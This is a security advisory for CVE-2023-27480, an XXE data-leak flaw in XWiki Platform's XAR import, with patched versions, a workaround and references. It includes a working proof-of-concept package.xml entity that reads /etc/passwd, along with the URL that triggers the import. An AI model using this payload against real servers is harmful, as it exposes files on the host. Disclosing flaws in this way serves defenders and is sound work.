CVE-2023-27480
XWiki Platform vulnerable to data leak via Improper Restriction of XML External Entity Reference
Impact
### Impact Any user with edit rights on a document can trigger a XAR import on a forged XAR file, leading to the ability to display the content of any file on the XWiki server host. Example to reproduce: * Create a forget XAR file and inside it, have the following `package.xml` content: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <package> <infos> <name>&xxe;</name> <description> &xxe; Helper pages for creating and listing Class/Template/Sheets</description> <licence></licence> <author>XWiki.Admin</author> ... ``` * Upload it onto a wiki page (e.g. `XXE`) as an attachment (e.g. `test.xar`). * Call the page using `http://localhost:8080/xwiki/bin/view/Main/XXE?sheet=XWiki.AdminImportSheet&file=test.xar` You'll then notice that the displayed UI contains the content of the `/etc/passwd` file. ### Patches The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10-rc-1. ### Workarounds You'd need to get XWiki Platform sources and apply the changes from https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 to the `XarPackage` java class and then copy the modified version to your `WEB-INF/classes` directory (or rebuild the `xwiki-platform-xar-model` maven module and replace the one found in `WEB-INF/lib/`). ### References * https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434 * https://jira.xwiki.org/browse/XWIKI-20320 ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira XWiki.org](https://jira.xwiki.org/) * Email us at [Security Mailing List](mailto:security@xwiki.org)
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| maven | org.xwiki.platform:xwiki-platform-xar-model | >= 1.1-milestone-3, < 13.10.11 | 13.10.11 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Xwiki | Xwiki | after 1.1 before 13.10.11 from 14.0 before 14.4.7 from 14.5 before 14.10 Version 1.1 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/xwiki/xwiki-platform/commit/e3527b98fdd8dc8179c24dc55e662b2c55199434
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-gx4f-976g-7g6v
- https://jira.xwiki.org/browse/XWIKI-20320
- https://github.com/advisories/GHSA-gx4f-976g-7g6v
- https://nvd.nist.gov/vuln/detail/CVE-2023-27480